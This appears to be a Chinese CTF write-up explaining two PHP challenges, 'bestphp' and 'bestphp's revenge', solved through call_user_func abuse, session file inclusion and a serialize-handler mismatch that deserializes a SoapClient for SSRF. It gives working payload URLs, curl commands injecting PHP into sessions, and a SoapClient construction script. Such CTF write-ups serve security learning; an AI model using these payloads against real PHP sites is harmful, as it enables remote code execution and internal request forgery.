php soap call_user_func_array,session_start()&bestphp

本文详细解析了两道CTF赛题,通过巧妙利用session_start和文件包含漏洞,结合序列化技巧实现远程代码执行和获取flag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

164569

前言

又是周末,又是CTF,还是pupil出的题,只能说,非常有趣了

bestphp

bestphp’s revenge

前者来自xctf final,后者来自2018LCTF

bestphp1

文件包含

拿到题目后发现

164569

代码非常简短,但是问题很明确,我们看到了函数

call_user_func($func,$_GET);

这里想到的第一反应是利用extract进行变量覆盖,从而达到任意文件包含

例如:

?function=extract&file=php://filter/read=convert.base64-encode/resource=index.php

164569

发现可以成功读取,尝试读function.php

function filters($data){

foreach($data as $key=>$value){

if(preg_match('/eval|assert|exec|passthru|glob|system|popen/i',$value)){

die('Do not hack me!');

}

}

}

?>

尝试读admin.php

hello admin

if(empty($_SESSION['name'])){

session_start();

#echo 'hello ' + $_SESSION['name'];

}else{

die('you must login with admin');

}

?>

发现都不行,最后落点还得是在getshell,那么思考一下攻击方式,很容易就想到了最近热门的session+lfi的攻击方式

但是这里有一个问题:

ini_set('open_basedir', '/var/www/html:/tmp');

我们无法直接去包含默认路径

/var/lib/php/sessions/sess_phpsessid

164569

那么怎么办?

session_start

在走投无路的时候选择查看php手册

发现session_start()中有这样一段

164569

那我们跟进会话配置指示

164569

发现了save_path,跟进

164569

发现该方式可以更改session存储路径,那我们尝试一下

?function=session_start&save_path=/tmp

然后去包含

?function=extract&file=/tmp/sess_kpk22r3qq2v69d2uj1iigcp5c2?func

164569

发现路径更改成功,包含了session

RCE

那么现在唯一的问题就是如何控制session的内容了,这里我有想到最近很流行的session.upload_progress,但是这样太麻烦了。

我们不难发现这里有一个$_SESSION[‘name’],并且其可以被我们post的name复制,那这就可以达到控制session内容的目的。

我们尝试

curl -v -X POST -d "name==phpinfo();?>" http://vps_ip:port/?function=session_start&save_path=/tmp

再去包含对应的session

?function=extract&file=/tmp/sess_jisv70lep6v1nfokagdll4scs7

得到

164569

尝试读取目录

curl -v -X POST -d "name==var_dump(scandir('./'));?>" http://vps_ip:port/?function=session_start&save_path=/tmp

包含文件

?function=extract&file=/tmp/sess_3b624no3ucdj27un5idq57jta0

可以成功列目录

164569

由于是本地环境,没有存放flag,所以到此一步,题目就完结了。后面找到flag直接cat即可

bestphp’s revenge

拿到题目

index.php

highlight_file(__FILE__);

$b = 'implode';

call_user_func($_GET[f],$_POST);

session_start();

if(isset($_GET[name])){

$_SESSION[name] = $_GET[name];

}

var_dump($_SESSION);

$a = array(reset($_SESSION),'welcome_to_the_lctf2018');

call_user_func($b,$a);

?>

flag.php

164569

代码非常简短,也很有意思,但是思路肯定很明确:SSRF

既然是SSRF,那么该如何满足以下条件呢?

访问127.0.0.1/flag.php

cookie可控,改成我们的php_session_id

那么势必得到一个php内置类,同时其具备SSRF的能力

SoapClient

这里不难想到之前N1CTF出过的hard_php一题,里面就使用了php内置类SoapClient进行SSRF

164569

但是问题来了,我怎么触发反序列化?

看到

if(isset($_GET[name])){

$_SESSION[name] = $_GET[name];

}

我们不难想到,可以将序列化内容通过$_GET[name]传入session,但是我们本地测试:

164569

发现session里的内容是会被进行一次序列化写入的,并且还有

name |

这样的东西存在。别说触发反序列化了,我们连基本的语句都构造不出来。

后来搜到这样一篇文章

https://blog.spoock.com/2016/10/16/php-serialize-problem/

首先我们可以控制session.serialize_handler,通过

/?f=session_start

serialize_handler=php

这样的方式,可以指定php序列化引擎,而不同引擎存储的方式也不同

php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值

php:存储方式是,键名+竖线+经过serialize()函数序列处理的值

php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值

同时根据文章内的内容,当session反序列化和序列化时候使用不同引擎的时候,即可触发漏洞

假如我们使用`php_serialize`引擎时进行数据存储时的序列化,可以得到内容

$_SESSION[‘name’] = ‘sky’;

a:1:{s:4:”name”;s:3:”sky”;}

而在php引擎时进行数据存储时的序列化,可以得到另一个内容

$_SESSION[‘name’] = ‘sky’;

name|s:3:”sky”

那么如果我们用php引擎去解php_serialize得到的序列化,是不是就会有问题了呢?

答案是肯定的,该文章中也介绍的很清楚

php引擎会以|作为作为key和value的分隔符,我们再传入内容的时候,比如传入

$_SESSION[‘name’] = ‘|sky‘

那么使用php_serialize引擎时可以得到序列化内容

a:1:{s:4:”name”;s:4:”|sky”;}

然后用php引擎反序列化时,|被当做分隔符,于是

a:1:{s:4:”name”;s:4:”

被当作key

sky

被当做vaule进行反序列化

于是,我们只要传入

$_SESSION[‘name’] = |序列化内容

即可 对了,如果你要问,为什么能反序列化?

因为如下图

164569

如何触发__call

光进行反序列化肯定是不够的

164569

我们看到soapclient想要触发__call()必须要调用不可访问的方法,那我们如何在题目有限的代码里调用不可访问方法呢?

看到这段代码

php $a = array(reset($_SESSION),'welcome_to_the_lctf2018'); call_user_func($b,$a);

这里想到如下操作

164569

我们只要覆盖$b为call_user_func即可成功触发不可访问方法

payload

那么完成payload即可

soap构造脚本

$target='http://127.0.0.1/flag.php';

$b = new SoapClient(null,array('location' => $target,

'user_agent' => "AAA:BBBrn" .

"Cookie:PHPSESSID=dde63k4h9t7c9dfl79np27e912",

'uri' => "http://127.0.0.1/"));

$se = serialize($b);

echo urlencode($se);

先发送第一段payload

164569

在发送第二段payload

164569

flag手到擒来!

164569

后记

pupil出的这两道session_start的题,可以说非常有趣了。涨了一波姿势,弥补了一波N1CTF hardphp的遗憾。膜~

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值